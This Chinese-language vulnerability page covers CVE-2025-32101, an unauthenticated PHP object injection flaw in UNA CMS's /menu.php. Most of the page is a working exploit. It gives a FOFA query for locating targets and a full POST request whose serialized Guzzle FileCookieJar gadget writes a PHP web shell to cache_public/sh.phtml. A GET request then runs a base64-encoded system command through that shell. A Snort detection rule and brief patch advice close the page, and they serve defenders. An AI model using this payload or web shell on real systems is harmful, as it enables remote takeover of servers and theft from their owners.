跳转至

UNACMS-CVE-2025-32101-PHP对象注入

UNA CMS的/menu.php接口存在PHP对象注入漏洞,未经身份验证的攻击者可以通过该漏洞远程执行任意代码,从而控制目标服务器。

影响版本

UNA CMS 14.0.0-RC

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值
利用难度

漏洞复现

FOFA:body="Powered by UNA"

POC/EXP:上传sh.phtml

POST /menu.php HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

o=sys_set_acl_level&a=SetAclLevel&level_id=1&profile_id=O%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A3%3A%7Bs%3A40%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A2%3A%7Bs%3A7%3A%22Expires%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22Value%22%3Bs%3A49%3A%22%3C%3Fphp+eval%28base64_decode%28%24_SERVER%5B%27HTTP_X%27%5D%29%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A23%3A%22.%2Fcache_public%2Fsh.phtml%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7D

image-20250417155037941

POC/EXP:执行命令

GET /cache_public/sh.phtml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Debian; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Connection: close
X: ZWNobyAnMnZwenJuRnk3cWo1alFNVTJVSklUUnN0UkFzJy4gc3lzdGVtKCdpZCcpIC4gJzJ2cHpybkZ5N3FqNWpRTVUyVUpJVFJzdFJBcyc7
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

image-20250417154943241

snort规则:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"UNACMS PHP Deserialization - Extended Patterns";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/menu.php"; http_uri;
    pcre:"/(profile_id|config)=[^&]*(O%3A\d+%3A%22|s%3A\d+%3A%22.*%22%3B)/i";
    metadata:cve,CVE-2025-32101;
    classtype:web-application-attack;
    sid:1000042;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本